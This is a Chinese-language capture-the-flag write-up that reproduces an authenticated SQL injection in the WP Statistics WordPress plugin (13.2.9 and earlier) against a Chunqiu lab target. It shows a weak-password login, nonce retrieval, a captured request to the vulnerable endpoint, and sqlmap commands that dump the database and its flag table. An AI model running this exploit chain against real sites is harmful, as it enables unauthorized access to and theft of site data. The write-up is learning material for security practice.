0x01 前言
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
影响范围:
- WP Statistics <= 13.2.9
复现准备:
- 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com
0x02 复现
1. 登录后台
打开靶场后,显示空白页,尝试 wordpress 默认登录路径:
http://xxxxx.cloudeci1.ichunqiu.com/wp-login.php
进入登录页,尝试各种弱口令无果,发现网页标题中有“test”,登录成功。
用户名密码:test
2. POC
根据漏洞平台介绍,以允许查看WP统计信息的用户身份登录,并通过如下路径获取随机数:
http://eci-2zecvitawtwbttliddfp.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce
并访问该路径,修改 _wpnonce 参数值为获取的随机数。
http://eci-2ze6ki5jtumuv5ixl9hu.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=随机数&name=words&search_engine=aaa
对该页面进行抓包,获取 Raw。
3. 漏洞利用
将抓包 Raw 放入文本文件 1.txt。
GET /wp-json/wp-statistics/v2/metabox?_wpnonce=358dae3f68&name=words&search_engine=aaa HTTP/1.1
Host: eci-2zecvitawtwbttliddfp.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_a30fe85aa32a73569f4d721828e6978d=test%7C1722475569%7CqOf6Z6CDR9DYSv2VilY0wbq20tk9NTGGdwVVsa6M6jd%7C39a5cb2512e192e77c1804ab7cc494194e735c1e97894a264f31d10ee4286fcd; wp-settings-time-1=1722302817
Upgrade-Insecure-Requests: 1
Priority: u=0, i
对 1.txt 进行 sqlmap 获取数据库;
sqlmap.py -r 1.txt --batch --dbs
查看数据库 wordpress 的所有表;
sqlmap.py -r 1.txt --batch -D wordpress --tables
找到 flag 表,爆破曲中所有数据;
sqlmap.py -r 1.txt --batch -D wordpress -T flag -columns --dump
得到 flag。
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!